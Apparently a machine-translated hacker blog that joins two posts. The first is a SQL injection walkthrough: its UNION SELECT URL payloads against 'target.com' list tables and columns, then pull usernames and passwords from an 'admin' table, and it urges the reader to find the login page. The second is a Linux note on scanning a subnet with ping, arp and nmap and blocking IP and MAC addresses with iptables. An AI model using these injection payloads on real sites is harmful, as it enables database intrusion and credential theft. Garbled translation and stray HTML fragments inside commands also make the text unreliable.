http://www.target.com/berita.php?id=100+union+select+1, 2, table_name, 4,5,6,7,8,9 + from + information_schema.tables / *

Now he said if the tables to see who else we add LIMIT at the end of the URL. But this time the cave tables do not use plasticity kok ... What's wrong cave? Maybe, but now that I want to explain is VERSION AND EXPERIENCE THE CAVE. Perhaps a slightly different ... ya know is just learning ... Hehehe ...

For example the table lo clay is "admin"

Well now we liat-liat aja used his column by replacing the word "table" of his ...

Example:
http://www.target.com/berita.php?id=100+union+select+1, 2, column_name, 4,5,6,7,8,9 + from + information_schema.colums / *

For example a column that comes out is "password" and "username"
Jump aja we see it ...

Example:
http://www.target.com/news.php?id=100+union+select+1, username, 3,4,5,6,7,8,9 + from + admin / *

and

http://www.target.com/news.php?id=100+union+select+1, password, 3,4,5,6,7,8,9 + from + admin / *

Can diliat dah ama username password login ... Stay ... Find a cool hold ... It's up to you ...
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that's what is written there.
you still do not understand what SQL injection?
quiet please you download the file below document about SQL injection step by step.

good luck!!! :)

Block IP and Mac Address

2010-04-16T23:09:00.002+07:00

How to block ip and mac address that is located in a network is easier in Linux. What is clear, we already know the ip address and mac Address used by the target.

Scan

To know the ip address and MAC Address target, do the scanning on the network first. The first step can be done is to do a scan with the help of ping and arp.

root @ zhane: ~ # ping-b-c 2-W 1 10.0.2.255
& /dev/null & done" onmouseover="this.style.backgroundColor='#ebeff9'" onmouseout="this.style.backgroundColor='#fff'">root @ zhane& /dev/null & done" onmouseover="this.style.backgroundColor='#ebeff9'" onmouseout="this.style.backgroundColor='#fff'">: ~ # for i in $ (seq 1 254); do ping-c 2-W 1 10.0.2. $ i> & / dev / null & done
root @ zhane: ~ # arp | grep eth

Results last from arp table will show you where my ip address is active along with its MAC Address in the 10.0.2.x ip net, other methods for scanning your ip is to use nmap tools.

root @ zhane: ~ # nmap-sp-PI-PT 10.0.2.1/24

by doing nmap to one ip address on a network, then the ip address of the other (active) can be found.

Block Ip

To do bloc ip, please use the iptables command as follows:

root @ zhane: ~ # iptables-I INPUT-s 10.0.2.212-j DROP

The above example is the command to block ip 10.0.2.212 to server. To delete orders,

root @ zhane: ~ # iptables-D INPUT-s 10.0.2.22-j DROP

Block MAC Address

To block MAC Address, actually almost the same.

root @ zhane: ~ # iptables-A INPUT-m mac-mac-source 00:00: b4: aa: c1: 34-j DROP

and to delete them, just run the same command by changing the option-A (add) becomes-D (delete)

root @ zhane: ~ # iptables-D INPUT-m mac-mac-source 00:00: b4: aa: c1: 34-j DROP

Hopefully useful ..